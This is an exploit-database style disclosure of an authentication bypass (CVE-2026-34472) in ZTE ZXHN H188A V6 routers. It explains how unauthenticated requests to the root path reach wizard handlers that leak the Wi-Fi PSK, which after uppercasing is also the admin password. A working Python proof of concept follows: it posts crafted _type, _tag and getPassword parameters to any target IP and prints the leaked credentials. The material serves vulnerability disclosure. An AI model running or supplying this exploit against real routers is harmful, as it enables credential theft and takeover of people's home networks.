ZTE ZXHN H188A V6 Authentication Bypass

# Exploit Title: ZTE ZXHN H188A V6 - Authentication Bypass # Date: 2026-05-20 # Exploit Author: Mina Nageh Salalma (Monx Research) # Vendor Homepage: https://www.zte.com.cn # Software Link: https://github.com/minanagehsalalma/cve-2026-34472-auth-bypass-zte-h188a-router # Version: ZXHN H188A V6.0.10P2_TE, V6.0.10P3N3_TE # Tested on: ZTE ZXHN H188A V6.0.10P2_TE # CVE: CVE-2026-34472 # Description: # Unauthenticated requests to the root path of ZTE ZXHN H188A V6 firmware # can reach pre-login wizard handlers and disclose WLAN PSKs, SSIDs, and # PPPoE usernames. The leaked Wi-Fi password is also the default administrator # password after uppercasing, resulting in full authentication bypass. # # Root cause: router_logic_impl.lua accepts _type and _tag directly for # empty-path requests. urlpath_2type_modifier.lua only applies QuickSetupEnable # when _type is missing. Wizard handlers then expose credential-bearing read # actions (getPassword, wlan_get, ppp_get) for unauthenticated users. # # Approximately 500 publicly exposed H188A interfaces were reachable at # time of original report (May 2024). ZTE PSIRT stopped responding; CVE # assigned by MITRE on 2026-03-27 after escalation. # # MITRE CVE: https://www.cve.org/CVERecord?id=CVE-2026-34472 # PoC - Trigger wizard credential endpoint (Python 3 / requests) import requests import sys def exploit(target): url = f"http://{target}/" # Craft request with _type parameter to bypass QuickSetupEnable gate params = {"_type": "loginData", "_tag": "login_entry"} headers = {"Content-Type": "application/x-www-form-urlencoded"} data = {"IF_ACTION": "getPassword", "_InstID_PASS": "DEV.WIFI.AP1.PSK1", "PASSTYPE": "PSK"} try: r = requests.post(url, params=params, headers=headers, data=data, timeout=10, verify=False) print(f"[+] {target} HTTP {r.status_code}") print(r.text[:2000]) except Exception as e: print(f"[-] {target}: {e}") if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: poc.py <target_ip>") sys.exit(1) exploit(sys.argv[1])